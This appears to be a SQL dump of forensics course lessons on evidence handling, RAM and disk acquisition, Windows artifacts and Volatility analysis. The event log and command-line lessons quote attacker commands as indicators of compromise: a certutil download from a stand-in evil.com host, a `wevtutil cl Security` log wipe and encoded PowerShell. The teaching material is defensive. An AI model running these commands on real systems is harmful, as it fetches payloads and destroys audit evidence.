INSERT INTO `lesson_content` (`id`, `task_id`, `content`, `content_type`, `reading_time_minutes`, `created_at`, `updated_at`) VALUES
(1005, 792, '# Introduction to Digital Forensics\n\nIf Incident Response is the act of putting out the fire, Digital Forensics is the investigation into how the fire started, who started it, and what was burned.\n\n**Digital Forensics** is the application of scientific investigation applied to digital crimes and attacks. It involves the recovery, investigation, examination, and analysis of material found in digital devices.\n\n## The Goal of Forensics\nWhile Incident Responders just want to get the business back online as fast as possible, Forensic Investigators care about:\n1.  **Truth:** Establishing exactly what occurred.\n2.  **Attribution:** Finding out *who* did it (Internal threat? Nation state? Ransomware gang?).\n3.  **Impact Analysis:** Determining exactly what data was accessed, stolen, or destroyed.\n4.  **Legal Admissibility:** Ensuring the collected evidence holds up in a court of law.\n\n## Major Branches of Digital Forensics\n\n### 1. Computer/Disk Forensics\nThe classic discipline. This involves taking a physical or logical \"image\" (a bit-by-bit exact copy) of a hard drive or SSD.\n*   **What we look for:** Deleted files, browser history, illegal media, timeline of accessed documents, registry modifications.\n*   **Tools:** Autopsy, EnCase, FTK (Forensic Toolkit).\n\n### 2. Memory (RAM) Forensics\nHard drives are slow and persistent. Modern, sophisticated malware often runs entirely in Random Access Memory (RAM) to avoid leaving traces on the hard drive. \n*   **What we look for:** Decrypted passwords, active network connections, injected malicious code, running processes.\n*   **Tools:** Volatility, Rekall.\n\n### 3. Network Forensics\nAnalyzing network traffic to reconstruct events. It\'s often said that \"packets don\'t lie.\" Even if an attacker deletes the logs on a compromised server, the network traffic capturing their activity might still exist.\n*   **What we look for:** Data exfiltration (large uploads), Command and Control (C2) beacons, unencrypted credentials.\n*   **Tools:** Wireshark, Zeek, Suricata, Arkime.\n\n### 4. Mobile Forensics\nSmartphones are essentially highly personal computers. They are often critical in criminal investigations or corporate espionage cases.\n*   **What we look for:** SMS/WhatsApp messages, GPS locations, application usage, call logs.\n*   **Tools:** Cellebrite, Magnet AXIOM.\n\n## The Friction: Speed vs. Preservation\nThere is an inherent conflict between IT/Business Operations and Digital Forensics.\n\n*   **The Business:** \"The server is hacked! Nuke it, format the drive, and restore from backups so we can make money again!\"\n*   **Forensics Analyst:** \"Stop! Don\'t touch the server! Don\'t even power it off! If you reboot it, we lose the RAM! Let me take a 4-hour forensic image first over the network.\"\n\nA mature Incident Response plan balances these two conflicting needs, outlining exactly when a full forensic investigation is required vs. when rapid recovery is prioritized.', 'markdown', 6, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1006, 793, '# Chain of Custody & Evidence Handling\n\nIf you have a smoking gun with the suspect\'s fingerprints on it, but you leave it sitting in a public hallway for 3 hours before giving it to the police, the evidence is useless in court. The defense attorney will simply say: *\"Someone else must have touched it while it was in the hallway.\"*\n\nThe exact same concept applies to digital evidence.\n\n## What is the Chain of Custody?\nThe **Chain of Custody** is a chronological, written record detailing the seizure, custody, control, transfer, analysis, and disposition of physical or digital evidence. \n\nIt answers four critical questions at any given point in time:\n1.  **Who** collected the evidence?\n2.  **How** and **where** was it collected?\n3.  **Who** had possession of it subsequently?\n4.  **How** was it stored and protected in the meantime?\n\nIf the chain is broken (unaccounted time or an undocumented transfer), the evidence may be deemed inadmissible in legal proceedings.\n\n## Hashing for Integrity\nHow do you prove that the 500GB hard drive image you took last year is exactly the same today, and that you haven\'t maliciously altered any files on it to frame someone?\n\n**Hashing.**\n\nA cryptographic hash (like MD5, SHA-1, or SHA-256) is a one-way mathematical algorithm that assigns a unique, fixed-size string of characters to a piece of data. It acts as a digital fingerprint.\n\n### The Hashing Workflow:\n1.  **Acquisition:** You arrive on scene and create a forensic image (`image.dd`) of the suspect\'s laptop.\n2.  **Initial Hash:** Immediately, you run a SHA-256 hash on `image.dd`. The result is: `5e884...a13`.\n3.  **Documentation:** You write that hash value down on your official Chain of Custody form.\n4.  **Verification:** A year later in court, the defense demands proof that the image wasn\'t tampered with. You run the SHA-256 hash again on your copy. It outputs `5e884...a13`. The fingerprints match. \n\nIf even a *single byte* in that 500GB image was changed, the resulting hash would be completely different.\n\n## Write Blockers\nWhen acquiring evidence from a physical hard drive, you must avoid altering it. Simply booting up a Windows hard drive makes hundreds of registry changes and alters file access times instantly.\n\nTo prevent this, forensics analysts use hardware or software **Write Blockers**. \nA hardware write blocker sits between the suspect\'s hard drive and your forensic workstation. It allows your computer to *read* the data from the drive to make a copy, but physically intercepts and blocks any *write* commands, preserving the original evidence perfectly pristine.', 'markdown', 5, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1007, 794, '# Core Forensics Principles\n\nTo be a successful digital investigator, you must understand two fundamental principles that guide how and when we collect evidence.\n\n---\n\n## 1. Locard\'s Exchange Principle\nDr. Edmond Locard was an early pioneer in forensic science. His principle states:\n\n> *\"Every contact leaves a trace.\"*\n\nIn the physical world, if a burglar enters a house, they might leave behind DNA, shoe prints, or fabric fibers. Conversely, they take things away with them—carpet fibers on their shoes, or a victim\'s blood on their clothes.\n\n**In the Digital World:**\nWhen an attacker breaches a server, they *always* leave a trace, and they *always* alter the environment.\n*   **What they leave:** IP addresses in Apache logs, malicious binaries dropped in `/tmp`, newly created user accounts, or modified registry keys.\n*   **What they take:** Exfiltrated database files, stolen SSH keys.\n\nThe trace is always there. The job of the forensic analyst is simply to know where to look for it before it gets overwritten.\n\n---\n\n## 2. The Order of Volatility (RFC 3227)\nYou arrive at a compromised server. It\'s powered on. Do you unplug it immediately? Do you copy the log files first? Do you dump the RAM?\n\nEvidence must be collected based on its **Volatility** — how easily and quickly it can be lost or destroyed. You must gather the most volatile evidence first, moving down to the least volatile evidence.\n\n### The Standard Order of Volatility:\n*(From Most Volatile / First Collected → to Least Volatile / Last Collected)*\n\n1.  **Registers and Cache:** Data inside the CPU. (Extremely hard to capture, often ignored in standard IR).\n2.  **Routing Tables, ARP Cache, Process Table, Kernel Statistics:** This lives in RAM mapping active network/process states. It changes every millisecond.\n3.  **System Memory (RAM):** The contents of the running memory. If power is lost, this is gone forever.\n4.  **Temporary File Systems:** E.g., The `/tmp` directory in Linux, which is often cleared upon a reboot.\n5.  **Disk (Hard Drive / SSD):** Persistent storage. Files, databases, and logs. This will survive a reboot.\n6.  **Remote Logging and Monitoring Data that is relevant to the system in question:** E.g., Logs forwarded to a SIEM.\n7.  **Physical Configuration and Network Topology:** The physical layout of cables and routers.\n8.  **Archival Media:** Backups stored on tapes or in cold cloud storage.\n\n### The \"Pull the Plug\" Debate\nIn the old days, responders were trained to \"pull the power plug\" on a compromised machine immediately to stop the attacker. \n\n**Today, pulling the plug is considered bad practice in most situations.** \nWhy? Because modern malware, like advanced ransomware or fileless trojans, often live *only* in RAM. If you pull the plug, you destroy the RAM, and you destroy the only evidence of the malware and its decryption keys. \n\nInstead, modern responders isolate the machine from the network (so the attacker loses access) and immediately image the RAM, securing the most volatile evidence first.', 'markdown', 6, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1008, 795, '# First Responder Operations\n\nWhen you are the first on the scene of a cyber incident, your actions in the first 15 minutes dictate the success or failure of the entire investigation. \n\nYou must act with the assumption that the incident will eventually end up in a legal battle, meaning every step must be defensible in court.\n\n## 1. Secure the Scene\nPhysical security comes before digital security. \n*   **Isolate the hardware:** Ensure no unauthorized personnel can walk up to the server rack or the suspect\'s laptop.\n*   **Document physical connections:** Take photographs of the computer, showing exactly what cables are plugged into what ports before you touch anything. If someone later claims a rogue USB was plugged in, you have photographic proof it wasn\'t.\n\n## 2. Triage the System State\nBefore pulling cables, you must determine what state the machine is in.\n*   **Is it powered off?** Do NOT turn it on. Booting a computer modifies thousands of files, altering timestamps and potentially triggering malware designed to destroy data upon boot.\n*   **Is it powered on?** Do NOT turn it off normally. Do NOT \"pull the plug\" right away. Leave it as is while you decide on your acquisition strategy (RAM first, then disk).\n*   **Is there a screen saver or lock screen?** Photograph what is visible. Do not attempt to guess the password, as modern systems (like BitLocker or Apple\'s secure enclave) will permanently wipe the encryption keys after too many failed attempts.\n\n## 3. Network Isolation\nYou need to stop the bleeding while preserving volatile data.\n*   **The old way:** \"Pull the network cable.\" \n*   **The modern way:** Use the switch, router, or EDR tool to logically isolate the machine. This allows you, the forensic analyst, to still remotely query the machine and pull RAM over the network, while preventing the machine from reaching the internet or the rest of the corporate network. \n*   **Warning:** If dealing with a mobile device, immediately put it in airplane mode or place it in a Faraday bag to prevent a remote wipe command from being received.\n\n## 4. The \"Live Response\" Toolkit\nIf you must interact with the live machine (e.g., to capture RAM), you cannot use the tools already installed on the machine (like the built-in Task Manager or `ps` command). Why? Because a rootkit might have replaced the built-in `ps` command to hide its own processes. \n\nInstead, first responders bring a \"Live Response Toolkit\" on a clean, trusted USB drive containing statically compiled, trusted forensic binaries.', 'markdown', 6, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1009, 796, '# Disk Acquisition & Write Blockers\n\nDisk acquisition is the process of creating an exact, bit-for-bit replica of a storage medium (Hard Drive, SSD, USB, SD Card). We never analyze the original evidence directly; we analyze the replica to preserve the original.\n\n## Logical vs. Physical Acquisition\nThere are two main types of acquisitions:\n\n### 1. Logical Acquisition\nA logical acquisition relies on the Operating System to read the files and copy them. It copies only the files the OS can see. \n*   **Pros:** Fast. Good for targeted collections (e.g., \"Just copy the user\'s Documents folder\").\n*   **Cons:** It misses deleted files, hidden partitions, and slack space. \n\n### 2. Physical (Bit-Stream) Acquisition\nA physical image reads the raw 1s and 0s directly from the physical disk hardware, ignoring the OS entirely. \n*   **Pros:** Captures absolutely everything, including deleted files, unallocated space, and hidden partitions. This is the gold standard for full investigations.\n*   **Cons:** Very slow. A 2TB drive requires a 2TB image file, even if the drive is 90% empty.\n\n## Write Blockers\nIf you plug a suspect\'s Windows hard drive into your forensic laptop just to \"take a look\", your Windows OS will aggressively mount the drive. In the background, it will update recycle bin files, change access timestamps, and create thumbnail caches. The evidence is now legally compromised.\n\nTo prevent this, we use **Write Blockers**. \nA write blocker is a device that intercepts all commands headed to the suspect drive. It allows `READ` commands to pass through but drops and blocks any `WRITE` commands.\n\n*   **Hardware Write Blockers:** Physical devices (like Tableau or WiebeTech) that you physically plug the suspect drive into. They are considered the most reliable method.\n*   **Software Write Blockers:** Software utilities or registry keys (like Linux mounting a drive as `read-only`). Less foolproof than hardware, but necessary for laptops where the SSD is soldered to the motherboard and cannot be physically removed.\n\n## Forensic Image Formats\nWhen you create the image, you don\'t just copy the files into a zip folder. You use specialized forensic formats:\n1.  **Raw (DD):** The simplest format. Just a massive file containing the exact 1s and 0s of the disk. No compression, no built-in metadata.\n2.  **EnCase (E01):** The industry standard. Combines the raw bitstream with compression, built-in hashing, and metadata (investigator name, case number) all wrapped into a single secure file.\n3.  **AFF4:** Advanced Forensic Format version 4. A newer, open-source format designed for high speed and massive datasets.', 'markdown', 7, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1010, 797, '# Memory (RAM) Acquisition\n\nMemory forensics has become the most critical component of modern Incident Response. As attackers adapt to disk forensics, they increasingly utilize \"fileless\" malware—malicious code that injects itself directly into the RAM of running processes and never touches the hard drive. \n\nIf you power off the machine before extracting the RAM, that evidence evaporates instantly.\n\n## Why RAM is the Holy Grail\nA full memory dump contains a snapshot of the exact state of the system at that moment in time. It holds:\n1.  **Running Processes:** Not just what the OS *thinks* is running, but what is *actually* executing in memory, including hidden rootkits.\n2.  **Active Network Connections:** You can see which processes are actively talking to external IP addresses (Command & Control beacons).\n3.  **Decrypted Data:** Even if the hard drive is encrypted with BitLocker, the system must hold the decryption key in RAM to function. Ram dumps routinely yield cleartext passwords, decryption keys, and private SSL keys.\n4.  **Clipboard Contents:** What the user just copied and pasted.\n5.  **Command History:** History of terminal commands recently run.\n\n## Acquisition Tools\nBecause RAM is actively being used by the operating system, you cannot use a simple copy command to grab it. You need a specialized kernel driver to access the raw memory space.\n\nCommon free tools include:\n*   **DumpIt (Windows):** A fast, simple executable. You run it from a USB drive, and it drops a `.raw` memory file onto your USB.\n*   **WinPmem (Windows/Linux/Mac):** Part of the Rekall project. Powerful, scriptable, and supports the generic `.raw` format as well as the more advanced `AFF4` format.\n*   **LiME (Linux):** Linux Memory Extractor. A Loadable Kernel Module (LKM) that creates a full memory capture of Linux devices.\n\n## The Smear Effect\nMemory is highly volatile and constantly changing. If a machine has 64GB of RAM, it might take 10 minutes to copy it all down to your USB drive. \n\nBy the time the tool finishes copying the 64th gigabyte, the data in the 1st gigabyte has completely changed since the copy started. \nThis results in a \"smear\"—the image is a patchwork of different moments in time, rather than a single frozen snapshot. Advanced memory analysis tools are designed to handle and compensate for this smear effect.\n\n## Hibernation Files and Pagefiles\nEven if a machine is powered off, you might still recover RAM data:\n*   **hiberfil.sys (Hibernation File):** When a Windows laptop is put to sleep/hibernation, the OS dumps the entire contents of RAM into this file on the hard drive to save power. Extracting this file provides a perfect, frozen memory dump from the exact moment the laptop went to sleep.\n*   **pagefile.sys / swapfile.sys:** When RAM gets full, the OS temporarily moves idle data from RAM onto the hard drive to free up space. Analyzing these files can reveal historical artifacts that were once in memory.', 'markdown', 6, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1011, 798, '# Network Evidence Acquisition\n\nIn many incidents, the only trace of the attacker is the traffic they generated communicating with their Command and Control (C2) servers or exfiltrating data. It is often said that while logs can be deleted and files can be wiped, \"packets don\'t lie.\"\n\n## Full Packet Capture (PCAP)\nThe ultimate form of network evidence is a Full Packet Capture. This records every single bit of data traversing the wire—the headers, the routing information, and the actual payload (the contents of the emails, the files being downloaded, the web pages viewed).\n\n*   **Tools:** Wireshark, `tcpdump`.\n*   **The Problem:** Storing full PCAPs is incredibly expensive. A busy corporate firewall might process 10 Terabytes of data per day. Retaining full PCAPs for 30 days requires massive, specialized storage clusters (like Arkime/Moloch). Because of this, most organizations do not save full PCAPs.\n\n## NetFlow (Network Telemetry)\nIf you can\'t record the entire phone call (PCAP), the next best thing is to record the phone bill (NetFlow). \n\nNetFlow is metadata about network traffic. It records:\n*   Source IP & Destination IP\n*   Source Port & Destination Port\n*   Protocol (TCP/UDP)\n*   Total Bytes Transferred\n*   Start time & End time\n\nNetFlow does **not** record the payload. It cannot tell you *what* was inside the HTTP request, only that an HTTP request occurred and transferred 40MB of data.\n*   **Pros:** Requires 99% less storage than full PCAPs. You can store months of NetFlow data easily.\n*   **Usage in DFIR:** If an analyst sees a NetFlow record indicating 50 Gigabytes of data was sent from the internal Database Server to an unknown IP in Russia at 3:00 AM, they don\'t need the PCAP to know data exfiltration just occurred.\n\n## Log Files\nWhen PCAP and NetFlow are unavailable, analysts rely heavily on network appliance logs:\n*   **Firewall Logs:** Shows allowed and blocked connections.\n*   **Proxy Logs / Web Gateways:** Shows the exact URLs internal users visited, the user-agent strings, and HTTP status codes. This is critical for catching users clicking phishing links.\n*   **DNS Logs:** Attackers frequently use DNS to locate internal assets or even to exfiltrate data (DNS Tunneling). Analyzing DNS queries is a staple of network forensics.\n\n## Collecting Evidence on the Wire\nHow do we actually capture the traffic without interrupting the network?\n1.  **Port Mirroring (SPAN Port):** You configure the corporate network switch to take a copy of every packet passing through it and send that copy to a dedicated monitor port, where your forensic capture tool is plugged in.\n2.  **Network Taps:** A physical hardware device inserted directly inline with the network cable. It acts like a splitter, passively duplicating the optical or electrical signal to a capture device. Taps are completely invisible to the network and are more reliable than SPAN ports under heavy load.', 'markdown', 5, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1012, 799, '# The Windows Registry\n\nThe Windows Registry is the central hierarchical database used to store information necessary to configure the system for one or more users, applications, and hardware devices. For forensics analysts, it is an absolute goldmine.\n\nWhenever a user executes a program, plugs in a USB drive, or changes a setting, a trace is left in the Registry.\n\n## Structure of the Registry\nThe registry is divided into five main logical root keys (Hives):\n1.  **HKEY_LOCAL_MACHINE (HKLM):** Settings applied to the entire machine, regardless of who is logged in.\n2.  **HKEY_CURRENT_USER (HKCU):** Settings unique to the currently logged-in user.\n3.  **HKEY_USERS (HKU):** Contains all the loaded user profiles. (HKCU is actually just a pointer into a specific subkey inside HKU).\n4.  **HKEY_CLASSES_ROOT (HKCR):** File extension associations (e.g., telling Windows that `.txt` opens with Notepad).\n5.  **HKEY_CURRENT_CONFIG (HKCC):** Information about the hardware profile currently being used.\n\n## Where are the files?\nWhen you image a hard drive, you don\'t get a file called `registry.exe`. The registry is actually made up of several physical files called **Hives** located on the disk:\n*   `C:\\Windows\\System32\\config\\SYSTEM` (Maps to HKLM\\SYSTEM)\n*   `C:\\Windows\\System32\\config\\SOFTWARE` (Maps to HKLM\\SOFTWARE)\n*   `C:\\Windows\\System32\\config\\SECURITY` (Maps to HKLM\\SECURITY)\n*   `C:\\Windows\\System32\\config\\SAM` (Security Account Manager - Holds local password hashes)\n*   `C:\\Users\\<username>\\NTUSER.DAT` (Maps to the specific user\'s HKCU)\n\n## Key Forensic Artifacts in the Registry\n\n### 1. Persistence (Auto-Start Extensibility Points)\nAttackers want their malware to survive a reboot. The easiest way to do this is to add a registry key telling Windows to run the malware every time it starts.\n*   **Run Keys:** `HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` and `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`\n*   *Forensic Value:* Always check these keys. If you see `C:\\Users\\Public\\svchost.exe` launching from a Run key, the machine is compromised.\n\n### 2. USB Device History (USBStor)\nDid the suspected employee copy the secret blueprints to a thumb drive? \n*   **Location:** `HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR`\n*   *Forensic Value:* Records the Vendor, Product ID, and unique Serial Number of *every* USB mass storage device that has ever been plugged into the machine.\n\n### 3. UserAssist\n*   **Location:** `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist`\n*   *Forensic Value:* Tracks which GUI applications the user executed, how many times they ran them, and the last time they were executed. The names of the programs are lightly obfuscated using ROT-13 encryption, which your forensic tools will decrypt automatically.', 'markdown', 7, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1013, 800, '# Windows Event Logs\n\nWindows Event Logs (`.evtx` files) are the primary source of chronological historical data on a Windows system. They track logins, service starts, application crashes, and security policy changes.\n\nThey are stored in `C:\\Windows\\System32\\winevt\\Logs\\`.\n\n## The Big Three\nWhile modern Windows has hundreds of event log files, the core three are:\n1.  **System:** Events logged by Windows system components (e.g., a driver failing to load, or the system booting up).\n2.  **Application:** Events logged by installed software (e.g., Microsoft Word crashing, or an antivirus detecting a file).\n3.  **Security:** Events related to authentication, privilege use, and object access. *By default, only Administrators can view this log.*\n\n## Crucial Security Event IDs (EIDs)\nAs a DFIR analyst, you must memorize these specific Event IDs. They are the bread and butter of finding attackers.\n\n### Logon & Authentication\n*   **EID 4624:** Successful Logon. \n    *   *Forensic Value:* Shows *who* logged in, *when*, and from *where* (Source IP). The \"Logon Type\" field is critical. Type 2 means Interactive (Physical keyboard). Type 3 means Network (e.g., accessing a shared folder). Type 10 means Remote Interactive (RDP).\n*   **EID 4625:** Failed Logon.\n    *   *Forensic Value:* A high volume of 4625s in a short time frame indicates a Brute Force or Password Spraying attack.\n*   **EID 4672:** Special Privileges Assigned to New Logon.\n    *   *Forensic Value:* This means the user logged in as an Administrator (or used \"Run as Administrator\").\n\n### Account Management\n*   **EID 4720:** A user account was created.\n    *   *Forensic Value:* Attackers often create backup \"backdoor\" accounts (like `SysAdmin1`) just in case their malware is discovered and removed. \n*   **EID 4722 / 4724:** Account enabled / Password reset.\n*   **EID 4732:** A member was added to a security-enabled local group.\n    *   *Forensic Value:* Look closely if the target group is \"Administrators\". This is a sign of local privilege escalation.\n\n### Process Execution\nBy default, Windows does not log every program that runs. However, if Advanced Audit Policy is enabled, you get:\n*   **EID 4688:** A new process has been created.\n    *   *Forensic Value:* Tells you exactly what time a program ran. If command-line auditing is turned on, it will even log the exact arguments (e.g., `powershell.exe -NoProfile -EncodedCommand JABX...`), which is incredibly useful for catching malicious scripts.\n\n## Clearing Logs\n*   **EID 1102:** The audit log was cleared.\n    *   *Forensic Value:* The massive red flag. Attackers often run the command `wevtutil cl Security` to erase their tracks. If you see EID 1102, assume an attacker was present, had Administrator rights, and intentionally deleted evidence.', 'markdown', 8, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1014, 801, '# Evidence of Execution\n\nOne of the most common questions an analyst must answer is: *\"Did the malware actually run?\"* \n\nJust because a malicious file exists on the hard drive does not mean the user actually double-clicked it. To prove execution, we look at several specific Windows artifacts.\n\n## 1. Prefetch (*.pf files)\nWindows uses Prefetch to speed up the boot process and application launch times. When an application runs for the first time, Windows analyzes what files and DLLs it needs and creates a `.pf` file in `C:\\Windows\\Prefetch\\`. \n\nThe next time the application runs, Windows reads the `.pf` file and pre-loads the necessary components into memory, making the application launch faster.\n\n*   **Forensic Value:** \n    *   **Proof of execution:** If `nc.exe-0D12ABCD.pf` exists, Netcat was absolutely executed on this machine.\n    *   **Execution count:** The file stores exactly how many times the application has been run.\n    *   **Timestamps:** It stores the timestamp of the last execution, as well as up to 7 previous execution timestamps (in Windows 8+).\n    *   **Target path:** It shows exactly where the executable was located when it ran (e.g., was it run from `C:\\Temp` or from a USB drive?).\n\n## 2. Shimcache (Application Compatibility Cache)\nWhenever an application runs, Windows checks if it needs any special compatibility settings (shims) to run properly (e.g., \"Does this program think it\'s running on Windows XP?\").\n\nWindows caches these checks in the Registry at `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCompatCache`.\n\n*   **Forensic Value:** \n    *   The Shimcache tracks the file path, the file size, and the Last Modified time of the executable.\n    *   It is fantastic for tracking executables that were run from a USB drive and subsequently deleted. Even if the USB is removed, the trace remains in the Shimcache.\n    *   *Note:* The Shimcache does not definitively prove execution (a file can enter the cache just by being browsed in Explorer), but it proves the file existed on the system at a specific path.\n\n## 3. Amcache\nA newer artifact (Windows 8+) located at `C:\\Windows\\AppCompat\\Programs\\Amcache.hve`. It is technically its own registry hive file.\n\n*   **Forensic Value:**\n    *   Similar to Shimcache but records much more detail, notably the **SHA-1 hash** of the executable. \n    *   This is incredibly powerful. Even if an attacker renames their malware from `mimikatz.exe` to `svchost.exe`, the Amcache will record its true SHA-1 hash, allowing analysts to instantly identify the malicious binary.', 'markdown', 6, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1015, 802, '# File System Artifacts\n\nBeyond the registry and logs, the NTFS file system itself leaves dozens of clues about user behavior and file manipulation.\n\n## Master File Table (MFT)\nNTFS uses a database called the Master File Table (MFT) to track every single file and folder on the volume. The file itself is called `$MFT`. \n\n*   **MACB Timestamps:** The MFT records four critical timestamps for every file:\n    *   **M**odified: When the file contents were last changed.\n    *   **A**ccessed: When the file was last opened/read.\n    *   **C**reated: When the file was first created on this volume.\n    *   **MFT Modified (B for birthed/metadata):** When the file\'s metadata (permissions, name) was last changed.\n*   **Time Stomping:** Advanced attackers use anti-forensic tools to alter MAC timestamps to make malicious files blend in (e.g., changing malware creation date to 2018). However, it is very difficult to successfully forge the \'MFT Modified\' timestamp, meaning forensic tools can often detect time stomping.\n\n## Windows Shortcut Files (.lnk)\nWhen a user opens a file, Windows often automatically creates a shortcut (`.lnk`) file pointing to it (e.g., in the \"Recent Items\" folder). \n\n*   **Forensic Value:** LNK files are gold. They contain metadata about the target file *and* the system it was on. Even if the target file was on a USB drive that is now gone, the LNK file left behind tells us:\n    1.  The original path of the file.\n    2.  The MAC timestamps of the target file.\n    3.  The Volume Serial Number of the USB drive it was on.\n    4.  The MAC address of the machine where the file was originally created.\n\n## The Recycle Bin\nWhen a user \"deletes\" a file, Windows doesn\'t actually erase the 1s and 0s. Firstly, it just moves the file to a hidden system folder called `$Recycle.Bin`. \n\nInside the Recycle Bin, Windows splits the deleted file into two pieces:\n1.  **$R file:** The actual contents of the deleted file, renamed with a random string ($R123456.docx).\n2.  **$I file:** A metadata file containing the *original name* of the file, its *original path* before it was deleted, and the exact *timestamp* it was deleted.\n\nIf you find a suspicious file in the Recycle Bin, parsing its corresponding `$I` file tells you exactly where it came from and when the suspect tried to get rid of it.', 'markdown', 5, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1016, 803, '# Introduction to Volatility\n\nVolatility is the world\'s most widely used, open-source memory forensics framework. Written in Python, it allows investigators to analyze RAM captures (.raw, .vmem, .dmp) offline to reconstruct the exact state of a computer at the moment the memory was captured.\n\n## Volatility 2 vs Volatility 3\nThere are two main versions of Volatility currently in use:\n*   **Volatility 2:** The traditional version (Python 2). It requires the analyst to manually specify a **\"Profile\"** (the exact OS version, e.g., `Win7SP1x64`) before it can parse the memory image. If you guess the wrong profile, Volatility returns gibberish.\n*   **Volatility 3:** The modern version (Python 3). It largely eliminates the need for manual profiles. Instead, it downloads \"Symbol Tables\" from Microsoft on the fly to automatically figure out the OS version and parse the structures.\n\nEverything in this module focuses on Volatility 3, as it is the current industry standard.\n\n## Basic Syntax (Volatility 3)\nThe syntax for Volatility 3 is straight-forward: you run the `vol.py` script, provide the target memory image using `-f`, and then specify a **plugin**.\n\nA plugin is a specific script that looks for a specific artifact in memory.\n\n**Syntax:** \n`python3 vol.py -f <memory_image> <plugin_name>`\n\n**Example:**\n`python3 vol.py -f infected_laptop.raw windows.info`\n\n## The \'windows.info\' Plugin\nThe absolute first plugin you should run on any new memory image is `windows.info`.\n\n*   **What it does:** It analyzes the basic header structures of the memory image to determine the exact Operating System version, the primary architecture (32-bit vs 64-bit), the exact build number, and the time the memory image was created.\n*   **Forensic Value:** It proves the memory image is sound and readable, and gives you the exact timestamp of the acquisition, which is perfectly aligned toUTC time (unlike disk timestamps which might be affected by local timezones).', 'markdown', 6, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1017, 804, '# Process Enumeration\n\nThe most fundamental task in memory forensics is identifying what programs were running when the RAM was captured.\n\n## windows.pslist (The Honest List)\nTo understand what is running, the Windows Kernel maintains a linked list called the **EPROCESS block list** (specifically the `ActiveProcessLinks`). Whenever you open Task Manager, Windows simply walks down this list and displays the results.\n\nThe `windows.pslist` plugin does exactly the same thing. It asks the OS, \"What processes do you think are running?\"\n\n*   **Syntax:** `python3 vol.py -f image.raw windows.pslist`\n*   **Output:** Process Name, Process ID (PID), Parent Process ID (PPID), Threads, Handles, and Creation Time.\n\n**The Problem:** Because `pslist` relies on the linked list maintained by the OS, it is highly susceptible to **Rootkits**. A rootkit can simply digitally unlink its malicious process from the `ActiveProcessLinks` list. To the OS (and Task Manager, and `pslist`), the malware suddenly becomes invisible, even though it is still actively executing in memory.\n\n## windows.psscan (The Skeptical Scanner)\nTo find hidden processes, we use **Memory Carving**. \n\nInstead of trusting the linked list, `windows.psscan` ignores the OS entirely. It methodically scans every single byte of the massive RAM file, looking for the specific byte-signature that signifies the start of an `EPROCESS` data structure.\n\n*   **Syntax:** `python3 vol.py -f image.raw windows.psscan`\n*   **The Power of Carving:** If a rootkit unlinks itself to hide, `psscan` will still find it, because the actual data structure must still exist in RAM for the malware to run.\n*   **Bonus Power:** Because it scans memory raw, `psscan` can even find processes that were recently terminated (closed) but whose data hasn\'t yet been overwritten by new data.\n\n## The Comparison Technique\nHow do you find the hidden rootkit?\nYou run `pslist`. You run `psscan`. Then you compare the outputs. \nIf a process shows up in `psscan` but is absent from `pslist`, you have found a process that was deliberately unlinked and hidden. That PID is almost certainly malicious.\n\n## windows.pstree (The Family Tree)\nAttackers often name their malware something innocent, like `svchost.exe`. How do you spot the fake?\n\n`windows.pstree` organizes processes by their Parent-Child relationships. \n*   *Normal:* `services.exe` spawns a dozen `svchost.exe` processes.\n*   *Malicious:* You see `explorer.exe` (the desktop GUI) spawning a `svchost.exe`. Or a `winword.exe` (Microsoft Word) spawning `cmd.exe` or `powershell.exe`. The parent-child relationship instantly gives away the attacker.', 'markdown', 7, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1018, 805, '# Network and Command Line Analysis in RAM\n\nAnalyzing processes is only half the battle. We also need to see what the processes were doing—who they were talking to, and how they were launched.\n\n## windows.netscan\nJust because malware is hidden doesn\'t mean it operates in a vacuum. It must communicate with the attacker\'s Command and Control (C2) server. \n\nThe `windows.netscan` plugin scans RAM for network artifact structures (similar to how `psscan` looks for processes). \n\n*   **Syntax:** `python3 vol.py -f image.raw windows.netscan`\n*   **Output:** \n    *   **Protocol:** TCP/UDP\n    *   **Local Address & Port**\n    *   **Foreign Address & Port:** The external IP the machine is talking to.\n    *   **State:** ESTABLISHED, LISTENING, CLOSED, etc.\n    *   **Owner (PID):** The Process ID responsible for the connection.\n*   **Forensic Value:** If you see an unknown IP address communicating over port 443 (HTTPS), you can check the \"Owner PID\". You might discover that a seemingly innocent `notepad.exe` is actively holding open an encrypted tunnel to Russia. That is an immediate indicator of compromise.\n\n## windows.cmdline\nWindows allows you to launch programs with specific arguments (e.g., instead of just double-clicking a script, an attacker runs `powershell.exe -ExecutionPolicy Bypass -File evil.ps1`).\n\nThese arguments might be the only place the attacker\'s true intent is visible. Even if the process completes and terminates, the command-line arguments often linger in memory.\n\n*   **Syntax:** `python3 vol.py -f image.raw windows.cmdline`\n*   **Forensic Value:** This plugin prints out the exact command-line string used to launch every process found in memory.\n*   **What to look for:**\n    *   **Encoded Commands:** `powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0...` (Base64 encoded commands are a massive red flag).\n    *   **Suspicious Paths:** `cmd.exe /c start C:\\Users\\Public\\malware.exe`\n    *   **Living off the Land:** Using legitimate Windows tools for malicious purposes (e.g., `certutil.exe -urlcache -split -f http://evil.com/payload.exe`).', 'markdown', 5, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
